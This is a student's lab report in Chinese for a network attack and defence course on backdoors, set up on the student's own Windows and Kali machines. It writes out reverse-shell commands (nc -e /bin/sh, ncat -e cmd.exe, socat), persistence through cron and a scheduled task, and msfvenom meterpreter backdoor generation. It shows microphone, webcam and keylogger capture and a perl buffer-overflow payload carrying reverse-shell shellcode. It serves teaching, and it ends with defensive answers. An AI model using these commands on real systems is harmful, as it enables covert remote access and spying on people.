20181334张怡杰《网络对抗技术》Exp2 后门原理与实践
1.实验内容
1.0 常用后门工具实验
1.0.1 Win获得Linux Shell
windows 打开监听
-
下载ncat.rar,解压至主机中任意位置。
-
在主机上按
Windows+r
输入cmd
打开命令行,输入ipconfig
查看主机IP地址
-
进入
nc
所在文件夹中,输入ncat.exe -l -p <端口号>
,
Linux反弹连接win
-
在
kali
终端中输入nc <主机IP地址> <之前输入的端口号> -e /bin/sh
:
-
windows
下获得一个linux shell
,可运行任何指令,如ls
,pwd
1.0.2 Linux获得Win Shell
Linux运行监听指令
-
输入
ip add
查看Linux
的IP地址
-
之后输入
nc -l -p <端口号>
,使其处于监听状态
Windows反弹连接Linux
-
输入
ncat.exe -e cmd.exe linux的IP <之前输入的端口号>
Linux下看到Windows的命令提示
1.0.3 使用nc传输数据
windows运行监听指令
-
ncat.exe -l 1334
Linux连接到Windows
-
nc windows的IP 1334
1.1使用netcat获取主机操作Shell,cron启动
在主机打开命令行,使用ncat.exe -l 1334监听1334
端口
在Linux中,终端里输入crontab -e
编辑一条定时任务,之后选择编辑器3
,在底行插入30 * * * * /bin/netcat 主机的IP 1334 -e /bin/sh
,即在每个小时的第30分钟反向连接主机的1334端口。
第三十分钟时,Windows已经反向连接至Linux,获取了Shell:
1.2 使用socat获取主机操作Shell, 任务计划启动
在主机上下载socat.rar
,然后解压到自选路径。
在主机中找到左下角windows标志,然后右键
->计算机管理
->任务计划程序
->创建任务
在常规
选项卡中填写任务名称,然后在触发器
选项卡中新建触发器,参照下图选择:
在操作
选项卡中,选择新建操作
,设置中程序或脚本处
选中你所下载解压的socat.exe
的路径,在添加参数中填入tcp-listen:<端口号> exec:cmd.exe,pty,stderr
,即将cmd.exe
绑定到该端口号,同时把cmd.exe
的stderr
重定向stdout
上。
确定操作后,需按win+L锁定主机,登录进去后,双击任务计划程序库,可以发现刚刚创建的任务socat已经开始运行。
紧接着,在Linux中输入socat - tcp:<主机IP>:<之前输入的端口号>
,其中-
表示标准输入/出,第二个流连接到主机的相应端口。之后发现已经成功获得一个cmd Shell
1.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Linux中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=<反弹连接的IP> LPORT=<想要使用的端口号> -f exe > <文件名>.exe,其中反弹连接IP为Linux的IP。如图所示,生成了想要的后门程序:zyj20181334_backdoor.exe
在主机命令行中输入ncat.exe -lv 1334 > zyj20181334_backdoor.exe
,获得当前连接状态
Linux中输入nc <主机IP> <之前输入的端口号> < <文件名>.exe
,将生成的后门程序传送至主机。
Linux中重新打开一个终端,输入msfconsole
进入msf控制台
依次输入:
-
use exploit/multi/handler //使用监听模块,设置payload
-
set payload windows/meterpreter/reverse_tcp //使用与生成后门程序时相同的payload
-
set LHOST <Linux的IP>
-
set LPORT <之前输入的端口号>
-
exploit //设置完成,开始监听
先在主机命令行中中断当前操作,再双击运行后门程序zyj20181334_backdoor.exe
。之后发现Linux获得了主机的Shell:
1.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
以下操作可以紧接着上一步操作进行
-
输入
record_mic
截获音频
-
输入
webcam_snap
使用摄像头拍照
-
输入
keyscan_start
开始记录下击键,输入keyscan_dump
指令读取击键的记录 -
还可以使用
getuid
查看当前用户
1.5 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell加分内容一并写入本实验报告。
方法一:
在linux中输入-p linux/x86/meterpreter/reverse_tcp LHOST=<Linux的IP> LPORT=1334 -x pwn1 -f elf > pwn5
使用msfconsole
指令进入msf控制台
-
输入
use exploit/multi/handler
使用监听模块,设置payload -
set payload linux/x86/meterpreter/reverse_tcp
-
set LHOST <Linux的IP>
-
set LPORT <之前的端口号>
-
执行监听
exploit
在另一个终端运行./pwn5
回到上一个终端,可以看到
方法二:
https://www.exploit-db.com/shellcodes 有很多shellcode,从中下载一份。
类似于实验一,关掉地址随机化等等
perl -e 'print "A" x 32;print"\x04\x03\x02\x01\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > inputcode
另开一个终端,找到我们的地址为 0xffffd570
修改为
perl -e 'print "A" x 32;print"\x70\xd5\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > inputcode
msfconsole
指令进入msf控制台
- 输入
use exploit/multi/handler
使用监听模块 set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
- 执行监听
exploit
msfconsole
指令进入msf控制台
再打开一个终端运行(cat inputcode;cat) | ./pwn20181334
可以看到成功了
2. 实验问答:
2.1 基础问题回答
2.1.1 例举你能想到的一个后门进入到你系统中的可能方式?
在不安全的计算机使用U盘后,U盘里装入带有后门的软件,再次使用时会损坏电脑。
2.1.2 例举你知道的后门如何启动起来(win及linux)的方式?
比如实验中做的,创建一个cron任务,定时循环启动。
2.1.3 Meterpreter有哪些给你映像深刻的功能?
印象最深刻的是录音和拍照,没有任何预警,就会录下声音、拍下视频,想想都十分恐怖
2.1.4 如何发现自己有系统有没有被安装后门?
win10或者火绒的杀毒软件都很厉害,可以经常检测查看异常端口等等。
2.2 实验总结与体会
在本次实验主要是后门程序的原理以及常识,以前只有被入侵的份,第一次尝试到入侵电脑的感觉(虽然是自己电脑吧)。总之,安全使用电脑是非常重要的,防火墙以及病毒防护也是非常好的防护手段,没啥事千万不能关掉。尽量不要连接不确定安全的网络,还有规范使用U盘等等。